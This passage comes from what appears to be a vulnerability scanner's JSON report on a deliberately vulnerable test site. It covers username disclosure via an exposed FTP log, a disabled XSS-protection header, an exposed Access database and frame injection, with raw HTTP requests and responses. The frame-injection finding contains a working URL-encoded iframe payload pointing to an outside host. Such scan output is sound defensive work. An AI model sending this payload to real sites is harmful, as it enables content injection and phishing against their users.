","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/WS_FTP.log","Type":"WinUsernameDisclosure","Name":"Windows Username Disclosure","Severity":"Low","Certainty":90,"Confirmed":false,"State":"Present","Classification":{"Owasp":"","Wasc":"13","Cwe":"200","Capec":"118","Pci31":"6.5.5","Pci32":"6.5.5","Hipaa":""},"HttpRequest":{"Method":"GET","Content":"GET /WS_FTP.log HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/WS_FTP.log\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[]},"HttpResponse":{"StatusCode":200,"Duration":95.4689,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nVary: Accept-Encoding\r\nContent-Length: 303\r\nLast-Modified: Fri, 03 Feb 2017 10:01:06 GMT\r\nAccept-Ranges: bytes\r\nContent-Type: text/plain\r\nContent-Encoding: \r\nDate: Wed, 23 Aug 2017 07:43:41 GMT\r\nETag: \"05d556f47ed21:0\"\r\n\r\n2014.02.15 16:46 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt\r\n2014.02.23 15:33 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt\r\n2014.02.23 15:33 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG\r\n2014.03.06 11:51 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt\r\n2014.03.06 11:51 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG\r\n2014.05.26 10:47 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt\r\n2014.05.26 10:47 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG\r\n2014.05.26 11:52 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt\r\n2014.05.26 11:52 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG\r\n2014.05.26 11:59 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt\r\n2014.05.26 11:59 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG\r\n2014.09.25 13:00 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie333\\_private\\feedback.txt --> 194.27.200.2 /public_html/ie333/_private feedback.txt\r\n2014.09.25 13:00 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie333\\_private\\WS_FTP.LOG --> 194.27.200.2 /public_html/ie333/_private WS_FTP.LOG\r\n2014.09.25 16:48 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie333\\_private\\feedback.txt --> 194.27.200.2 /public_html/ie333/_private feedback.txt\r\n2014.09.25 16:48 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie333\\_private\\WS_FTP.LOG --> 194.27.200.2 /public_html/ie333/_private WS_FTP.LOG\r\n2014.02.15 14:41 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt\r\n2014.02.15 14:41 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG"},"ExtraInformation":[{"Name":"ExtractedUsername","Value":"testsparker"}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified a Windows username disclosure in the error message.

","Impact":"
An attacker can perform brute-force or dictionary-based password guessing on the disclosed username. It may also help the attacker identify other vulnerabilities or further their exploitation of other identified vulnerabilities.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
  • Error messages should be disabled.
  • Remove this kind of sensitive data from the output.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/Generics/","Type":"XssProtectionDisabled","Name":"Disabled X-XSS-Protection Header","Severity":"Information","Certainty":100,"Confirmed":false,"State":"Present","Classification":{"Owasp":"","Wasc":"","Cwe":"","Capec":"","Pci31":"","Pci32":"","Hipaa":""},"HttpRequest":{"Method":"GET","Content":"GET /Generics/ HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[]},"HttpResponse":{"StatusCode":200,"Duration":101.2432,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 528\r\nDate: Wed, 23 Aug 2017 07:43:37 GMT\r\nContent-Type: text/html; charset=utf-8\r\nX-XSS-Protection: 0\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n
\r\n
\r\n \r\n
\r\n
\r\n\r\n\r\n"},"ExtraInformation":[{"Name":"Header","Value":"X-XSS-Protection: 0"}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected a disabled X-XSS-Protection header which means that this website could be at risk of a Cross-site Scripting (XSS) attacks.

\n

Internet Explorer's built-in cross-site scripting protection can be disabled by using the following HTTP Header : X-XSS-Protection: 0

","Impact":"
This issue is reported as additional information only. There is no direct impact arising from this issue.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
Add the X-XSS-Protection header with a value of \"1; mode= block\".\n
    \n
  • \n
    X-XSS-Protection: 1; mode=block
    \n
  • \n
\n
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/statics/data.mdb","Type":"MdbFound","Name":"Microsoft Access Database File Detected","Severity":"Medium","Certainty":90,"Confirmed":false,"State":"Present","Classification":{"Owasp":"A7","Wasc":"2","Cwe":"284","Capec":"","Pci31":"6.5.8","Pci32":"6.5.8","Hipaa":""},"HttpRequest":{"Method":"GET","Content":"GET /statics/data.mdb HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/statics/\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[]},"HttpResponse":{"StatusCode":200,"Duration":83.965600000000009,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nContent-Length: 479232\r\nLast-Modified: Fri, 03 Feb 2017 10:01:08 GMT\r\nAccept-Ranges: bytes\r\nContent-Type: application/x-msaccess\r\nDate: Wed, 23 Aug 2017 07:43:41 GMT\r\nETag: \"08a867047ed21:0\"\r\n\r\n\u0000\u0001\u0000\u0000Standard Jet DB\u0000\u0001\u0000\u0000\u0000�n\u0003b`\t�U�gr@?\u0000�~�����1�y��0��̝c��ÝF���NGg�7�؜�\u0007�(��*�`�\b{64�߱�h\u0013C\u000e3�3��y[S)|*��|�\u001e\u001f��-���S��f_��Љ$�g�\u001f'D���e��\u0007�F�x\u0016\f��-b�T\u0006\u0000\u00004.0\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected a Microsoft Access database file.

","Impact":"
The database file may disclose sensitive information. You should manually check the content of the file.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/About.aspx?hello=%3ciframe%20src%3d%22http%3a%2f%2fr87.com%2f%3f%22%3e%3c%2fiframe%3e","Type":"FrameInjection","Name":"Frame Injection","Severity":"Medium","Certainty":95,"Confirmed":false,"State":"Present","Classification":{"Owasp":"A10","Wasc":"38","Cwe":"601","Capec":"","Pci31":"6.5.1","Pci32":"6.5.1","Hipaa":"164.308(a)"},"HttpRequest":{"Method":"POST","Content":"POST /About.aspx?hello=%3ciframe%20src%3d%22http%3a%2f%2fr87.com%2f%3f%22%3e%3c%2fiframe%3e HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/About.aspx?hello=visitor\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 1120\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n__VIEWSTATE=%2fwEPDwUKMTg1Njc5NzI2OQ9kFgJmD2QWAgIDD2QWAgIFD2QWAgIDD2QWAgIBDxYCHglpbm5lcmh0bWwFhQUNCg0KPGxpIHN0eWxlPSJtYXJnaW4tbGVmdDowIj48YSBvbmNsaWNrPSJzb2FwUmVxdWVzdGVyKDEpOyIgdGl0bGU9IklmIHlvdSB3YW50IHRvIHNlZSBkZXRhaWxzLCBjbGljayB0byBpbWFnZS4iIGhyZWY9IiNzb2FwUmVxdWVzdGVyUnVubmVkIj48aW1nIHNyYz0iL3N0YXRpY3MvR2FicmllbFNoZWFyLmpwZyIgLz48L2E%2bPHNwYW4gY2xhc3M9InNwYW5kZXNjIiBpZD0ic3BhbjEiPjwvc3Bhbj48L2xpPjxsaSA%2bPGEgb25jbGljaz0ic29hcFJlcXVlc3RlcigyKTsiIHRpdGxlPSJJZiB5b3Ugd2FudCB0byBzZWUgZGV0YWlscywgY2xpY2sgdG8gaW1hZ2UuIiBocmVmPSIjc29hcFJlcXVlc3RlclJ1bm5lZCI%2bPGltZyBzcmM9Ii9zdGF0aWNzL1N0YW5sZXlKb2Jzb24uanBnIiAvPjwvYT48c3BhbiBjbGFzcz0ic3BhbmRlc2MiIGlkPSJzcGFuMiI%2bPC9zcGFuPjwvbGk%2bPGxpID48YSBvbmNsaWNrPSJzb2FwUmVxdWVzdGVyKDQpOyIgdGl0bGU9IklmIHlvdSB3YW50IHRvIHNlZSBkZXRhaWxzLCBjbGljayB0byBpbWFnZS4iIGhyZWY9IiNzb2FwUmVxdWVzdGVyUnVubmVkIj48aW1nIHNyYz0iL3N0YXRpY3MvQWdlbnRKLlQuUm9iZXJ0cy5qcGciIC8%2bPC9hPjxzcGFuIGNsYXNzPSJzcGFuZGVzYyIgaWQ9InNwYW40Ij48L3NwYW4%2bPC9saT5kGAEFKWN0bDAwJENvbnRlbnRQbGFjZUhvbGRlck5hdiRtdkxvZ2luTG9nb3V0Dw9kZmRA89ysfk6sLMvad2MrxRyeQAusOIs%2bD7Rxfalg019c7g%3d%3d&__VIEWSTATEGENERATOR=E809BCA5","Parameters":[{"Name":"__VIEWSTATE","Type":"Post","Value":"/wEPDwUKMTg1Njc5NzI2OQ9kFgJmD2QWAgIDD2QWAgIFD2QWAgIDD2QWAgIBDxYCHglpbm5lcmh0bWwFhQUNCg0KPGxpIHN0eWxlPSJtYXJnaW4tbGVmdDowIj48YSBvbmNsaWNrPSJzb2FwUmVxdWVzdGVyKDEpOyIgdGl0bGU9IklmIHlvdSB3YW50IHRvIHNlZSBkZXRhaWxzLCBjbGljayB0byBpbWFnZS4iIGhyZWY9IiNzb2FwUmVxdWVzdGVyUnVubmVkIj48aW1nIHNyYz0iL3N0YXRpY3MvR2FicmllbFNoZWFyLmpwZyIgLz48L2E+PHNwYW4gY2xhc3M9InNwYW5kZXNjIiBpZD0ic3BhbjEiPjwvc3Bhbj48L2xpPjxsaSA+PGEgb25jbGljaz0ic29hcFJlcXVlc3RlcigyKTsiIHRpdGxlPSJJZiB5b3Ugd2FudCB0byBzZWUgZGV0YWlscywgY2xpY2sgdG8gaW1hZ2UuIiBocmVmPSIjc29hcFJlcXVlc3RlclJ1bm5lZCI+PGltZyBzcmM9Ii9zdGF0aWNzL1N0YW5sZXlKb2Jzb24uanBnIiAvPjwvYT48c3BhbiBjbGFzcz0ic3BhbmRlc2MiIGlkPSJzcGFuMiI+PC9zcGFuPjwvbGk+PGxpID48YSBvbmNsaWNrPSJzb2FwUmVxdWVzdGVyKDQpOyIgdGl0bGU9IklmIHlvdSB3YW50IHRvIHNlZSBkZXRhaWxzLCBjbGljayB0byBpbWFnZS4iIGhyZWY9IiNzb2FwUmVxdWVzdGVyU